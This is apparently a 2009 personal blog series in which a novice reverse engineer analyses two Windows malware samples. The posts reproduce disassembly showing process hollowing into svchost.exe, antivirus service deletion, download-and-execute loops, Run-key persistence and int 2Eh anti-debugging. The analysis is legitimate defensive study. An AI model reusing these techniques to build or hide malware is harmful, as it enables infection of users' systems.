Thursday, 26 November 2009

bot1.exe part5

Unfortunatly I didn't make the progress I was expecting today. Here is what I've found out so far.
As I mentioned in my previous post, I managed to debug the child  process by changing the two bytes after the DOS signature (once the file had been created with CopyFile).
After the child has been created the parent process sleeps for 0xC8 ms and then closes handles. I don't know much about windows scheduling scheme, but since control will transit for the running process when it sleeps to another process, and since this process may be our child process, I will debug the child process until it unpacks itself and reaches 0x4027A5 (the call to loadDLLsAndInitializeWinINetApplicationHandle) and then I will terminate the parent process "cleanly".
The parent process calls CloseHandle on the handle for the child process, calls CloseHandle again on another handle and finally calls WSACleanup before exiting.

Let's have a look at our child process.
The child process behaviour is the same as the parent process until it reaches "main". Once there, the child process checks if the father is running by calling  WaitForSingleObject, and checking if the return value is not WAIT_TIMEOUT.
After the call to unknown_sub1 there is a test eax, eax / jnz . I still don't know exactly what this function does, however, the return value when called from the parent process is 0, and the return value when called from the child process is non-zero, so it is probably being used to check if the running process is the child.
The target of the jump instruction starts by checking if the argc is greater than 2  . Since the command line for the child process is created by the parent, this probably checks if the child was launched correctly.
After this, a function is called which returns in EAX the value of the handle (arg[1]) of the parent process, and this value is used, along with INFINITE to call WaitForSingleObject, so if the parent process is still running, and since INFINITE was passed, WaitForSingleObject will not timeout. The handle is then closed, and the original file (in our case \malware.exe) is deleted.

At 0x00402A9C ChangeRegistry function is called, taking as argument the address of "foobar.exe" where foobar is the random name generated by the parent process.

ChangeRegistry function will create/open a key named "Software\Microsoft\Windows\CurrentVersion\Run" subkey to the 0x80000002  predefined key (HKEY_LOCAL_MACHINE). Afterwards, it will create a value name "Windows LoL Layer" and set it's value to "foobar.exe". The function will proceed to create another registry entry, this time under HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices named "Windows LoL Layer" with value "foobar.exe". The last change in the registry will be the creation of a value under HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run named "Windows LoL Layer" with value "foobar.exe".


Tuesday, 24 November 2009

bot1.exe part4

After setting the attributes for the newly created file as described in my previous post, our current process is opened with OpenProcess(SYNCHRONIZE, TRUE, PID).
The return value (an handle to our process) is returned, and the value is used to create a string with the following format:
'FULL_PATH_OF_THE_NEW_FILE HANDLE "FULL_PATH_OF_THE_ORIGINAL_FILE"'
a note however, HANDLE is not in hexadecimal, but in decimal format.
The next in operation is a call to CreateProcess according to the following code snippet:

CreateProcess( 'C:\WINDOWS\System32\vycqfmq.exe',
   'C:\WINDOWS\System32\vycqfmq.exe 324 "path_to\…\malware.exe",
   NULL,
   NULL,
   TRUE,
   0x28, //between all the bits set by 0x28 and all the pre-defined values for creation flags the only common bit is the fourth bit, by the flag  DETACHED_PROCESS, so I'm guessing that 0x28 will be equivalent to 0x8 (DETACHED_PROCESS)
   NULL,
   "C:\WINDOWS\System32",
   startupInfoStruct_ptr,
   proccessInformationStruct_ptr
   )

These are the values in the STARTUP_INFO structure pointed to by startupInfoStruct_ptr:
cb 44h
lpReserved 0
lpDesktop 0
lpTitle offset word_444962
dwX 0
dwY 0
dwXSize 0
dwYSize 0
dwXCountChars 0
dwYCountChars 0
dwFillAttribute 0
dwFlags 1
wShowWindow 0
cbReserved2 0
lpReserved2 0
hStdInput 0
hStdOutput 0
hStdError 0

word_444962 holds 0 as well, so the only value set to something different from 0 are the dwFlags (set with STARTF_USESHOWWINDOW, which indicates that the wShowWindow member is valid).

So, we have a new process that
1) will be named as indicated by the first argument of CreateProcess
2) has command line set according to the second argument of CreateProcess
3) will inherit the handles of the father
4) will not be suspended upon its creation

After the call to CreateProcess, if it was successfull, our program terminates:

seg028:00402A07  call    CreateProcessA
seg028:00402A0D  test    eax, eax
seg028:00402A0F  jz      short loc_402A39
seg028:00402A11  push    0C8h
seg028:00402A16  call    Sleep
seg028:00402A1C  push    [ebp+processInformation]
seg028:00402A1F  mov     esi, CloseHandle
seg028:00402A25  call    esi ; kernel32_CloseHandle
seg028:00402A27  push    [ebp+var_18]
seg028:00402A2A  call    esi ; kernel32_CloseHandle
seg028:00402A2C  call    dynamicWSACleanup
seg028:00402A32  push    ebx
seg028:00402A33
seg028:00402A33  loc_402A33:                             
seg028:00402A33  call    ExitProcess

So, how to debug the newly created process? We cannot change the entry point bytes to 0xEBFE, since as we've seen previously, the entry point to the program will be the beginning of the header, and the values there must be 0x4D5A, I will try setting the next two bytes to 0xEBFE and see where I can go from there.

Monday, 23 November 2009

bot1.exe part3


After spending sometime debugging/looking at the code/asking for directions I finally reached what seems like the "main" function of this malware. Let's have a look at it then.
The function starts by setting a new exception handler and then calling GetTickCount. The return value in EAX is divided by 0x3E8 and the quotient is stored in a variable:

seg016:00402786  mov     esi, GetTickCount
seg016:0040278C  call    esi ; kernel32_GetTickCount
seg016:0040278E  xor     edx, edx
seg016:00402790  mov     ecx, 3E8h
seg016:00402795  div     ecx
seg016:00402797  mov     ticCountDiv0x3E8, eax

Afterwards there is another call to GetTickCount. The value is stored in a previously alloced memory region through the call to sub_422630. The address (0x341ED4) is retrieved from the thread's TLS.

Following this, there is a call to loadDLLsAndInitalizeWinINetApplicationHandle (rather verbose name).
This function will load and retrieve the address of the following procedures (from the respective dll's).
Finally, after some libraries have been loaded, and the functions' addresses looked up, a call to InternetOpenA("Mozilla/4.0 (compatible)",0,0,0,0). The reason for this still escapes me.
(The complete list of libraries and functions can be found here)
Afterwards there is a call to SetErrorMode(SEM_NOGPFAULTERRORBOX). I am guessing this is to prevent the malware from crashing and letting it's exception handler deal with any future exception.
Next, a mutex is created and the process waits for it to be in a signaled state, and WSAStartup is called.

Once this is done, there is a call to extractExtension( ModuleFileName_0, 0, 0, ptr_nameWOExtension, ptr_extension). After the call nameWOExtension will hold "malware" and extension will hold ".exe".
Following this there is a call to concatenateNameExtension(with format string "%s%s"), and we will have "malware.exe" in a variable (named nameWExtension).
Afterwards there is a call to unkown_sub1, which, as the name indicates, I haven't yet figured out exactly what it does.

The tick count previously saved is retrieved, multiplied by 0x343FD, then 0x269EC3 is added to it, the result is shifted right 0x10. The final value is stored in EAX, and saved in the memory location where the tick count was.
With this new value the string "winlolx" will be changed:
for each byte in "winlolx" the value V will be obtained as described above and the given byte will be set with (V % 0x1A + 'a')

seg028:004028AB  call    sub_422640
seg028:004028B0  push    1Ah
seg028:004028B2  cdq
seg028:004028B3  pop     ecx
seg028:004028B4  idiv    ecx
seg028:004028B6  push    esi
seg028:004028B7  add     dl, 'a'
seg028:004028BA  mov     byte ptr aWinlolx_exe[edi], dl  ; "winlolx.exe"
seg028:004028C0  inc     edi
seg028:004028C1  call    strlen?
seg028:004028C6  sub     eax, 4
seg028:004028C9  cmp     edi, eax
seg028:004028CB  pop     ecx
seg028:004028CC  jb      short generateAlternateName

The resulting string will be appended to the system directory (resulting in the string "C:\WINDOWS\System32\vmchqzo.exe"). The binary will check for the existence of this file through a call to GetFileAttributes, and if the call fails our file (malware.exe) will be copied to the file specified by the resulting string.

Afterwards, the file explorer.exe will be opened and it's time attributes will be read through a call to GetFileTime, and these values will be copied to our newly created file (through SetFileTime). In addition to this, the file attributes of the new file will be set to FILE_ATTRIBUTE_READONLY | FILE_ATTRIBUTE_HIDDEN | FILE_ATTRIBUTE_SYSTEM.

This is it so far. Tomorrow I will continue the analysis.

Thursday, 19 November 2009

Inexperience

Since my last post I started reversing from what I determined to be the entry point of the malware.
Due to my inexperience, I am afraid that I spent the last couple of days working on what appears to be system library code. It was a tedious work, that unsurprisingly wasn't yelding any "real" results (that is: a deeper understanding of how the binary behaves).
Fortunatly (before I wasted any more time) I mentioned this to a friend of mine, and he brought to my attention that I was probably reversing a statically linked binary, and that I was in fact reversing a lot of code that didn't matter for the task at hand.
Basically I have learnt how to be more cautious, the hard way ...

Monday, 16 November 2009

bot1.exe part2

After my last post I started the analysis of the bot1.exe malware.
Just as the unpackme from my previous post, the execution starts at the beggining of the HEADER section.
After a couple of jumps there is a call to a procedure I called detach_dbg_rebuild_imports.
The packer used in this piece of malware introduces a new (at least for me) anti-debugging technique: the usage of the int 2Eh instruction.

The int 2Eh is the interrupt responsible to pass execution to a system call. The system call number is located in the EAX register, while the stackframe for that given syscall is pointed to by EDX (information found here)
When the int 2Eh occurs, EAX is holding the value 0xE5. I found this nice list of win32 syscalls and their respective numbers. So for WinXP we can see that 0xE5 is the number of the NtSetInformationThread syscall.
While I was googling for info on int 2Eh, I also found this post, where an explanation on how this system call can be used to detach the process from a debugger is found.
Quoting:
"We will submit that as the first parameter and the enum value for ThreadHideFromDebugger, 0x11, as the second parameter. If a debugger is attached and we pass in 0x11 to NtSetInformationProcess, our process will immediately detach any attached debugger and terminate the process."
So let's see what the stackframe pointed to by EDX looks like:

Stack[00000254]:0012FFB4  arg_0 dd 0FFFFFFFEh
Stack[00000254]:0012FFB8  db  11h
Stack[00000254]:0012FFB9  db    0
Stack[00000254]:0012FFBA  db    0

Which resembles very much the info gathered from the veracode post, and indeed if we set a breakpoint at the address after the int 2Eh instruction, the breakpoint is never reached.
In order to bypass this protection I have a breakpoint set at the int 2Eh, and then I adjust the EIP to the next instruction.

After this, there is a call to VirtualProtect with the arguments set as:

lpAddress 400000h
dwSize 1000h
flNewProtect 4 (PAGE_READWRITE)
lpflOldProtect 12FFC0h

Afterwards, there is a call to a procedure that uncyphers and restores the original binary values, and the import table is rebuilt. Once this is done, the program jumps to the original entry point through a jmp eax instruction.

Therefore I have found out what the original entry point of the binary is, and am now in the process of reversing it.

Saturday, 14 November 2009

bot1.exe part1

Since none of the links of the trojan worked, I searched for bot1.exe in offensive-computing.net and downloaded the file.
When I tried to disassemble it, the header segment was shown as code:

HEADER:00400000 4D       dec     ebp
HEADER:00400001 5A       pop     edx
HEADER:00400002 90       nop
HEADER:00400003 EB 01    jmp     short loc_400006

Let's review what we know about the PE-Header:

A PE-Header begins with a struct IMAGE_DOS_HEADER with the following fields:
e_magic (5A4Dh)
 e_cblp
 e_cp
 e_crlc
 e_cparhdr
 e_minalloc
 e_maxalloc
 e_ss
 e_sp
 e_csum
 e_ip
 e_cs
 e_lfarlc
 e_ovno
 e_res
 e_oemid
 e_oeminfo
 e_res2
 e_lfanew

The e_lfnanew fields tells us the offset of the PE-Signature (0x00004550), after this comes the structure IMAGE_FILE_HEADER, and then the structure IMAGE_OPTIONAL_HEADER.
IMAGE_OPTIONAL_HEADER begins the following fields:

Magic
 MajorLinkerVersion
 MinorLinkerVersion
 SizeOfCode
 SizeOfInitializedData
 SizeOfUninitializedData
 AddressOfEntryPoint

The AddressOfEntryPoint tells us the offset of the binary entry point.

With this in mind I followed the usual procedure of defining the structures of a PE Header, however, when defining the DOS_IMAGE_HEADER this was the result:

HEADER:00400000 __ImageBase     dw 5A4Dh                ; e_magic
HEADER:00400000                 dw 0EB90h               ; e_cblp
HEADER:00400000                 dw 1                    ; e_cp
HEADER:00400000                 dw 0E952h               ; e_crlc
HEADER:00400000                 dw 189h                 ; e_cparhdr
HEADER:00400000                 dw 0                    ; e_minalloc
HEADER:00400000                 dw 4550h                ; e_maxalloc
HEADER:00400000     dw 0                    ; e_ss
HEADER:00400000      dw 14Ch                 ; e_sp
HEADER:00400000      dw 2                    ; e_csum
HEADER:00400000      dw 0                    ; e_ip
HEADER:00400000      dw 0                    ; e_cs
HEADER:00400000      dw 0                    ; e_lfarlc
HEADER:00400000      dw 0                    ; e_ovno
HEADER:00400000      dw 2 dup(0), 0E0h, 30Fh ; e_res
HEADER:00400000      dw 10Bh                 ; e_oemid
HEADER:00400000      dw 0                    ; e_oeminfo
HEADER:00400000      dw 0Ah dup(0)           ; e_res2
HEADER:00400000      dd 0Ch                  ; e_lfanew
HEADER:00400040      db    0

As you can see the signature would be the value of e_maxalloc, and the offset e_lfanew points us to the contents of the IMAGE_DOS_HEADER (0x400000C), which means that the IMAGE_DOS_HEADER would be overlaping the IMAGE_FILE_HEADER structure.

Since I wasn't very sure of what was happening here, ran the bot through PEiD, and it showed the bot as being packed with "SimplePack 1.11 Method 2 -> bagie[TMX]", so I decided to find an unpackme packed with this method and found one that had been packed with SimplePack 1.2, even though it was not the same version, it should give me some idea of what was going on here.

Let's have a look at this unpackme then.
My guess was that the header had been changed by the packer, and that even if the structures had been messed with, if I followed the offsets blindy, I should be able to reach the original entry point of the program.

So, if I started at the PE-Signature address, and added 0x4 + 0x14 + 0x10 that should be the offset of the original entry point, which in this case was 0.

HEADER:00400000 4D       dec     ebp
HEADER:00400001 5A       pop     edx
HEADER:00400002 90       nop
HEADER:00400003 EB 01    jmp     short loc_400006

If we set a breakpoint at 0x00400000 the debugger will fail to start the program (my guess is that the opcode will be changed to 0xCC - from what I've read about debuggers here - and the "magic" field of the structure will be changed, and the binary won't be loaded), but we can set a breakpoint at the jump instruction, and the debugger stops there.

This is what I've found thus far. I will continue to reverse the unpackme until I am less clueless about what is going on with this packer and then I will proceed with bot1.exe analysis.

-
the info I gathered about the PE Header came from LUEVELSMEYER's tutorial on PE I heard about here http://win32assembly.online.fr/pe-tut1.html
-

Wednesday, 11 November 2009

Trojan.Downloader-4680 - part 3

In my last post I mentioned that a process was created with the command line arguments set to "svchost.exe ". In addition to this, the creation flags of the process are set to CREATE_SUSPENDED, and the first argument (lpApplicationName) is set to 0 which means that the module name to be ran must be the first token of the command line arguments (http://msdn.microsoft.com/en-us/library/ms682425(VS.85,printer).aspx).
Furthermore, since the creation flags are set to CREATE_SUSPENDED, the main thread of the new process will not run until a call to ResumeThread is made.
Let's assume that we have the PID of the new process (after the call to create process) since it will be needed later.
Following the process creation there is a call to VirtualAllocEx which will allocate 0x15000 bytes in the address space of the new process, starting at address 0x15160000.
Afterwards the allocated memory is written to, this time 0x15000 bytes starting at 0x15160000 in the current process will be copied to the address space of the created process starting at address 0x15160000.
Before the call to the ResumeThread function, the thread context of the newly created process is changed. The thread context is obtained from a call to GetThreadContext, and the _EIP field is changed to address 0x15161703, and only then is the process resumed.

With this in mind I assumed that the child process would resume at 0x15161703, so in order to test this, I patched the first two bytes at 0x15161703 to EBFE (the explanation is here by RolfRolles), attached the debugger to the running process and indeed the process is stuck in an infinite loop. Since we don't have any names in the attached debugger, instead of going through with the call to ResumeThread (in the original debugging session) we can change EIP register to point to 0x15161703 and see what the child process would do.

This is the beggining of the function:


UPX0:15161703  child1_begin_execution_addr:            
UPX0:15161703  push    offset aUser32_dll              
UPX0:15161708  call    k32_LoadLibraryA
UPX0:1516170E  call    k32_FreeConsole
UPX0:15161714  push    15170CC4h
UPX0:15161719  push    105h
UPX0:1516171E  call    k32_GetTempPathA
UPX0:15161724  push    offset aUrlmon_dll              
UPX0:15161729  call    k32_LoadLibraryA
UPX0:1516172F
UPX0:1516172F  loc_1516172F:                           
UPX0:1516172F  call    k32_GetCommandLineA
UPX0:15161735  add     eax, 0Ch                        

Since we are now emulating what the child process would have done, we have to take into consideration that our command line arguments are different. Namely we don't have svchost.exe in our command line. In addition to this, the GetCommandLine will return a string in the format: '"path"' instead of 'svchost.exe path', so we will have to change the byte pointed to by eax to 00, change the last byte of the string from '"' to 0, increment eax, and set all the references to the original value of eax to eax+1 (otherwise they would point to the '"' at the beggining of the string). In addition to this, we have to either set EIP so that it jumps over the add eax, 0Ch instruction, or subtract 0xC from eax (since our string doesn't begin with 'svchost.exe ').

0xC350 bytes are then read from the trojan file


UPX0:15161738  push    eax
UPX0:15161739  pop     trimmedCommandLine
UPX0:1516173F  push    0
UPX0:15161741  push    80h
UPX0:15161746  push    3
UPX0:15161748  push    0
UPX0:1516174A  push    3
UPX0:1516174C  push    80000000h
UPX0:15161751  push    trimmedCommandLine
UPX0:15161757  call    k32_CreateFileA
UPX0:1516175D  mov     fileHandle, eax
UPX0:15161762  push    0
UPX0:15161764  push    offset unk_151708B8
UPX0:15161769  push    0C350h
UPX0:1516176E  push    offset fileBuffer
UPX0:15161773  push    fileHandle
UPX0:15161779  call    k32_readfile
UPX0:1516177F  push    fileHandle
UPX0:15161785  call    k32_CloseHandle

and we will search the value 0xA7C6B453 ^ 0xCC (0xA7C6B453 being the value held at dword_151631DC):

UPX0:1516178B  mov     eax, dword_151631DC
UPX0:15161790  xor     al, 0CCh
UPX0:15161792  mov     edi, offset fileBuffer
UPX0:15161797  push    2710h
UPX0:1516179C  pop     ecx
UPX0:1516179D  repne scasd
UPX0:1516179F  mov     al, [edi]
UPX0:151617A1  inc     edi
UPX0:151617A2  mov     ecx, [edi]
UPX0:151617A4  add     edi, 4
UPX0:151617A7  push    edi
UPX0:151617A8  push    0
UPX0:151617AA  push    eax
UPX0:151617AB  push    ecx
UPX0:151617AC  push    edi

The next function called will rebuild the addresses from where files are to be downloaded:


UPX0:151617AD  call    sub_151616C8
UPX0:151617B2  pop     edi
UPX0:151617B3  push    edi
UPX0:151617B4  pop     download_urls1

After the call to sub_151616C8 download_urls1 holds the address of the first url (out of 6).
and our orinal trojan is deleted:


UPX0:151617BA  push    trimmedCommandLine
UPX0:151617C0  call    k32_DeleteFileA
UPX0:151617C6  or      eax, eax
UPX0:151617C8  jz      loc_1516172F

Each of the urls will be used to download information to a temporary file, and this file will be executed:


UPX0:151617CE  push    download_urls1
UPX0:151617D4  push    offset current_url              
UPX0:151617D9  call    k32_lstrcpy
UPX0:151617DF  push    download_urls1
UPX0:151617E5  pop     ebx
UPX0:151617E6  push    ebx
UPX0:151617E7  pop     download_urls2
UPX0:151617ED
UPX0:151617ED  loc_151617ED:                           
UPX0:151617ED  mov     eax, 0
UPX0:151617F2  push    offset tempFileName             
UPX0:151617F7  push    0
UPX0:151617F9  push    0
UPX0:151617FB  push    offset TempPath                 
UPX0:15161800  call    j_kernel32_GetTempFileNameA
UPX0:15161805  push    0
UPX0:15161807  push    0
UPX0:15161809  push    offset tempFileName             
UPX0:1516180E  push    offset current_url              
UPX0:15161813  push    0
UPX0:15161815  call    urlmon_dll_URLDownloadToFileA
UPX0:1516181B +mov     startupinfo.dwFlags, 1
UPX0:15161825 +mov     startupinfo.wShowWindow, 0Ah
UPX0:1516182E  push    offset lpPROCESS_INFORMATION
UPX0:15161833  push    offset startupinfo
UPX0:15161838  push    0
UPX0:1516183A  push    0
UPX0:1516183C  push    0
UPX0:1516183E  push    0
UPX0:15161840  push    0
UPX0:15161842  push    0
UPX0:15161844  push    offset tempFileName             
UPX0:15161849  push    0
UPX0:1516184B  call    k32_CreateProcessA
UPX0:15161851  push    0
UPX0:15161853  pop     eax
UPX0:15161854  mov     ebx, download_urls2
UPX0:1516185A
UPX0:1516185A  GoToNextUrl:                            
UPX0:1516185A  inc     ebx
UPX0:1516185B  mov     al, [ebx]
UPX0:1516185D  cmp     al, 0
UPX0:1516185F  jnz     short GoToNextUrl
UPX0:15161861  nop
UPX0:15161862  inc     ebx
UPX0:15161863  mov     al, [ebx]
UPX0:15161865  cmp     al, 0
UPX0:15161867  jz      short loc_15161886
UPX0:15161869  push    ebx
UPX0:1516186A  pop     download_urls2
UPX0:15161870  push    download_urls2
UPX0:15161876  push    offset current_url              
UPX0:1516187B  call    k32_lstrcpy
UPX0:15161881  jmp     loc_151617ED
UPX0:15161886
UPX0:15161886  loc_15161886:                           
UPX0:15161886  push    0
UPX0:15161888  call    k32_ExitProcess
UPX0:1516188E  retn

Saturday, 7 November 2009

Trojan.Downloader-4680 - part 2

As stated in my previous post, the call to search_process returns, and as EAX holds 0 the jump at 15161602 is taken and the search_proc_by_hash1 returns.
We proceed to search_proc_by_hash2

UPX0:15161504  search_proc_by_hash2:                   
UPX0:15161504  push    process_name_hash2
UPX0:1516150A  call    search_process
UPX0:1516150F  or      eax, eax
UPX0:15161511  jz      locret_151615DD
...
UPX0:151615DD  locret_151615DD:
UPX0:151615DD  retn

Once again search_process returns 0, so the jump is taken (and search_proc_by_hash2 returns as well).

Afterwards a call to disable_McShield takes place.

UPX0:15161133  disable_McShield proc near
UPX0:15161133  push    0F003Fh
UPX0:15161138  push    0
UPX0:1516113A  push    0
UPX0:1516113C  call    advapi_OpenSCManagerA
UPX0:15161142  or      eax, eax
UPX0:15161144  jz      short locret_15161197
UPX0:15161146  mov     ServiceControlManagerHandle, eax
UPX0:1516114B  push    0F01FFh
UPX0:15161150  push    offset aMcshield                ; "McShield"
UPX0:15161155  push    ServiceControlManagerHandle
UPX0:1516115B  call    advapi_OpenServiceA
UPX0:15161161  or      eax, eax
UPX0:15161163  jz      short loc_1516118B
UPX0:15161165  push    eax
UPX0:15161166  pop     dword_15163200
UPX0:1516116C  push    offset unk_15163204
UPX0:15161171  push    1
UPX0:15161173  push    dword_15163200
UPX0:15161179  call    advapi_ControlService
UPX0:1516117F  push    dword_15163200
UPX0:15161185  call    advapi_DeleteService
UPX0:1516118B
UPX0:1516118B  loc_1516118B:             
UPX0:1516118B  push    ServiceControlManagerHandle
UPX0:15161191  call    advapi_CloseServiceHandle
UPX0:15161197
UPX0:15161197  locret_15161197:          
UPX0:15161197  retn
UPX0:15161197  disable_McShield endp

First lets look at what OpenSCManagerA does:

"Establishes a connection to the service control manager on the specified computer and opens the specified service control manager database."
And what is this service control manager? Again from msdn (http://msdn.microsoft.com/en-us/library/ms685150(VS.85).aspx)
"
The service control manager (SCM) is started at system boot. It is a remote procedure call (RPC) server, so that service configuration and service control programs can manipulate services on remote machines.

The service functions provide an interface for the following tasks performed by the SCM:

* Maintaining the database of installed services.
* Starting services and driver services either upon system startup or upon demand.
* Enumerating installed services and driver services.
* Maintaining status information for running services and driver services.
* Transmitting control requests to running services.
* Locking and unlocking the service database.
"
The function then tries to open a service named "McShield" (which in my case failed) and if the service exists, it marks the service for deletion from the service database.
The handles are then closed and the function returns.

After the call to disable_McShield there is a call to GetModuleFileNameA, which will return the full name of the executable file, that string is appended to "svchost.exe" and a process with command line set as "svchost.exe " is created with creation flags set to CREATE_SUSPENDED, and a handle to our module is retrieved through the call at 15161B1C to GetModuleHandleA (since 0 is passed as an argument).





Friday, 6 November 2009

Trojan.Downloader-4680 - part 1


As a malware for my first analysis I decided to download Trojan.Downloader-4680 (MD5 b48301acf88fc593b1481f994d48d1e4 ) from offensivecomputing.net.

The binary is packed with UPX.
After the unpacking loop we arrive at
UPX1:15173C75  loc_15173C75:                           
UPX1:15173C75  mov     eax, [edi]
UPX1:15173C77  or      eax, eax
UPX1:15173C79  jz      short loc_15173CB7
UPX1:15173C7B  mov     ebx, [edi+4]
UPX1:15173C7E  lea     eax, [eax+esi+13058h]
UPX1:15173C85  add     ebx, esi
UPX1:15173C87  push    eax
UPX1:15173C88  add     edi, 8
UPX1:15173C8B  call    dword ptr [esi+13080h] ; call loadlibraryA
UPX1:15173C91  xchg    eax, ebp
UPX1:15173C92
UPX1:15173C92  loc_15173C92:                           
UPX1:15173C92  mov     al, [edi]
UPX1:15173C94  inc     edi
UPX1:15173C95  or      al, al
UPX1:15173C97  jz      short loc_15173C75
UPX1:15173C99  mov     ecx, edi
UPX1:15173C9B  push    edi
UPX1:15173C9C  dec     eax
UPX1:15173C9D  repne scasb
UPX1:15173C9F  push    ebp
UPX1:15173CA0  call    dword ptr [esi+13084h] ; call GetProcAddress
UPX1:15173CA6  or      eax, eax
UPX1:15173CA8  jz      short loc_15173CB1
UPX1:15173CAA  mov     [ebx], eax
UPX1:15173CAC  add     ebx, 4
UPX1:15173CAF  jmp     short loc_15173C92
UPX1:15173CB1 
UPX1:15173CB1
UPX1:15173CB1  loc_15173CB1:                           
UPX1:15173CB1  call    dword ptr [esi+13088h]
UPX1:15173CB7
UPX1:15173CB7  loc_15173CB7:                           
UPX1:15173CB7  popa
UPX1:15173CB8  jmp     loc_15161A93

Here the malware loads kernel32.dll and calls GetProcAddress for the following procedures:
- ExitProcess
- GetTmpFileName
- GetTickCount
- Sleep
- CreateThread

The malware then executes the jmp at 15173CB8.
The target of the jmp, after the unpacking loop (and after my analysis/renaming) looks like this:

UPX0:15161A93  loc_15161A93:                           
UPX0:15161A93  call    rebuild_import_tables
UPX0:15161A98  call    search_proc_by_hash1
UPX0:15161A9D  call    search_proc_by_hash2
UPX0:15161AA2  call    disable_McShield
UPX0:15161AA7  push    400h
UPX0:15161AAC  push    offset lpFileName
UPX0:15161AB1  push    0
UPX0:15161AB3  call    k32_GetModuleFileNameA
UPX0:15161AB9  mov     startupinfo.cb, 44h
UPX0:15161AC3  mov     startupinfo.dwFlags, 1
UPX0:15161ACD  mov     startupinfo.wShowWindow, 2
UPX0:15161AD6  push    offset aSvchost_exe             ; "svchost.exe "
UPX0:15161ADB  push    offset svchost_lstrcat          ; ""
UPX0:15161AE0  call    k32_lstrcat
UPX0:15161AE6  nop
UPX0:15161AE7  push    offset lpFileName
UPX0:15161AEC  push    offset svchost_lstrcat          ; ""
UPX0:15161AF1  call    k32_lstrcat
UPX0:15161AF7  push    offset lpPROCESS_INFORMATION
UPX0:15161AFC  push    offset startupinfo
UPX0:15161B01  push    0
UPX0:15161B03  push    0
UPX0:15161B05  push    4
UPX0:15161B07  push    0
UPX0:15161B09  push    0
UPX0:15161B0B  push    0
UPX0:15161B0D  push    offset svchost_lstrcat          ; ""
UPX0:15161B12  push    0
UPX0:15161B14  call    k32_CreateProcessA
UPX0:15161B1A  push    0
UPX0:15161B1C  call    k32_GetModuleHandleA
UPX0:15161B22  mov     moduleHandle, eax
UPX0:15161B27  mov     eax, moduleHandle
UPX0:15161B2C  lea     edi, [eax]
UPX0:15161B2E  add     edi, [edi+3Ch]
UPX0:15161B31  add     edi, 4
UPX0:15161B34  nop
UPX0:15161B35  add     edi, 14h
UPX0:15161B38  mov     eax, [edi+38h]
UPX0:15161B3B  push    eax
UPX0:15161B3C  pop     dword_15163C7C
UPX0:15161B42  push    40h
UPX0:15161B44  push    3000h
UPX0:15161B49  push    dword_15163C7C
UPX0:15161B4F  push    moduleHandle
UPX0:15161B55  push    lpPROCESS_INFORMATION.hProcess
UPX0:15161B5B  call    k32_kernel32_VirtualAllocEx
UPX0:15161B61  push    eax
UPX0:15161B62  pop     dword_15163C80
UPX0:15161B68  push    offset unk_15163C84
UPX0:15161B6D  push    dword_15163C7C
UPX0:15161B73  push    moduleHandle
UPX0:15161B79  push    dword_15163C80
UPX0:15161B7F  push    lpPROCESS_INFORMATION.hProcess
UPX0:15161B85  call    k32_WriteProcessMemory
UPX0:15161B8B  push    10007h
UPX0:15161B90  pop     dword_15163C8C
UPX0:15161B96  push    offset dword_15163C8C
UPX0:15161B9B  push    lpPROCESS_INFORMATION.hThread
UPX0:15161BA1  call    k32_GetThreadContext
UPX0:15161BA7  mov     dword_15163D44, offset byte_15161703
UPX0:15161BB1  push    offset dword_15163C8C
UPX0:15161BB6  push    lpPROCESS_INFORMATION.hThread
UPX0:15161BBC  call    k32_SetThreadContext
UPX0:15161BC2  push    lpPROCESS_INFORMATION.hThread
UPX0:15161BC8  call    k32_ResumeThread
UPX0:15161BCE  push    1F4h
UPX0:15161BD3  call    k32_Sleep
UPX0:15161BD9  push    0
UPX0:15161BDB  call    k32_ExitProcess
UPX0:15161BE1  push    0
UPX0:15161BE3  call    j_kernel32_ExitProcess

Let's look at what the function rebuild_import_tables does.
It starts by calling a function that sets eax to the start address of kernel32.dll :
UPX0:151618B7  rebuild_import_tables proc near 
UPX0:151618B7  call    set_eax_k32_start_offset
UPX0:151618BC  or      eax, eax
UPX0:151618BE  jnz     loc_15161995
UPX0:151618C4  retn
.....
UPX0:15161995  loc_15161995:                           
UPX0:15161995  push    eax
UPX0:15161996  pop     offset_begin_k32
UPX0:1516199C  xor     offset_begin_k32, 522h
UPX0:151619A6  call    j_kernel32_GetTickCount
UPX0:151619AB  push    offset lpThreadAttributes
UPX0:151619B0  push    0
UPX0:151619B2  push    0
UPX0:151619B4  push    offset thread_func1
UPX0:151619B9  push    0
UPX0:151619BB  push    0
UPX0:151619BD  call    j_kernel32_CreateThread
UPX0:151619C2  call    j_kernel32_GetTickCount
UPX0:151619C7  push    0C8h
UPX0:151619CC  call    j_kernel32_Sleep
UPX0:151619D1  push    offset k32_CloseHandle
UPX0:151619D6  push    dword ptr NUMBER_OF_ADDRESSES1
UPX0:151619DC  push    offset byte_151618C5
UPX0:151619E1  push    offset_begin_k32
UPX0:151619E7  call    rebuild_import_table

The important part of this code is the call to rebuild_import_table (the return values from the call to GetTickCount aren't used for anything that I am aware of, and the thread function just undoes the xor at 1516199C).
The rebuild_import_table will find the address of NUMBER_OF_ADDRESSES1 of the given dll (in this case kernel32) and start saving them at the address passed in the last parameter (in this case k32_CloseHandle). I haven't figured out what the second argument is.
The NUMBER_OF_ADDRESSES is an hardcoded value, and the return value (in EAX) is the number of addresses looked up. After the call these were the found addresses:

UPX0:15163B58    k32_CloseHandle dd offset kernel32_CloseHandle
UPX0:15163B5C    k32_CreateFileA dd offset kernel32_CreateFileA
UPX0:15163B60    k32_CreateProcessA dd offset kernel32_CreateProcessA
UPX0:15163B64    k32_DeleteFileA dd offset kernel32_DeleteFileA
UPX0:15163B68    k32_ExitProcess dd offset kernel32_ExitProcess
UPX0:15163B6C    k32_FreeConsole dd offset kernel32_FreeConsole
UPX0:15163B70    k32_GetCommandLineA dd offset kernel32_GetCommandLineA
UPX0:15163B74    k32_GetModuleFileNameA dd offset kernel32_GetModuleFileNameA
UPX0:15163B78    k32_GetModuleHandleA dd offset kernel32_GetModuleHandleA
UPX0:15163B7C    k32_GetTempPathA dd offset kernel32_GetTempPathA
UPX0:15163B80    k32_GetThreadContext dd offset kernel32_GetThreadContext
UPX0:15163B84    k32_LoadLibraryA dd offset kernel32_LoadLibraryA
UPX0:15163B88    k32_ResumeThread dd offset kernel32_ResumeThread
UPX0:15163B8C    k32_SetThreadContext dd offset kernel32_SetThreadContext
UPX0:15163B90    k32_Sleep dd offset kernel32_Sleep     
UPX0:15163B94    k32_kernel32_VirtualAllocEx dd offset kernel32_VirtualAllocEx
